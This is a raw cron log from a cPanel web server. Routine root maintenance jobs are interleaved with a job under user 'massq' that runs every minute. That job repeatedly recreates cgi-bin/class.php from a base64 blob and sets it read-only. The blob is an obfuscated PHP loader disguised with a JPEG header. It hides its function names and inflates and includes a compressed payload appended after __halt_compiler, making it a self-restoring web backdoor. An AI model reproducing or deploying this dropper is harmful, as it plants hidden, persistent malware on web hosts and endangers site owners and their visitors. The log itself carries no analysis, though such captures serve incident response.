Sep 11 22:32:01 server CROND[13531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:32:01 server CROND[13530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:32:01 server CROND[13532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:33:01 server CROND[13937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:33:01 server CROND[13940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:33:01 server CROND[13941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:34:01 server CROND[14332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:34:01 server CROND[14333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:34:01 server CROND[14334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:35:01 server CROND[14835]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 22:35:01 server CROND[14845]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:35:01 server CROND[14846]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 22:35:01 server CROND[14844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:35:01 server CROND[14843]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:35:01 server CROND[14847]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 22:35:01 server CROND[14851]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:35:01 server CROND[14848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:35:01 server CROND[14849]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 22:36:01 server CROND[15677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:36:01 server CROND[15678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:36:01 server CROND[15679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:37:01 server CROND[16068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:37:01 server CROND[16069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:37:01 server CROND[16070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:38:01 server CROND[16450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:38:01 server CROND[16451]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:38:01 server CROND[16452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:39:01 server CROND[16827]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 22:39:01 server CROND[16828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:39:01 server CROND[16829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:39:01 server CROND[16830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:40:01 server CROND[17320]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 22:40:01 server CROND[17322]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:40:01 server CROND[17327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:40:01 server CROND[17325]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:40:01 server CROND[17326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:40:01 server CROND[17328]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 22:40:01 server CROND[17330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:40:01 server CROND[17329]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 22:41:01 server CROND[18173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:41:01 server CROND[18174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:41:01 server CROND[18175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:42:01 server CROND[18587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:42:01 server CROND[18619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:42:01 server CROND[18620]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 22:42:01 server CROND[18621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:43:01 server CROND[19698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:43:01 server CROND[19699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:43:01 server CROND[19700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
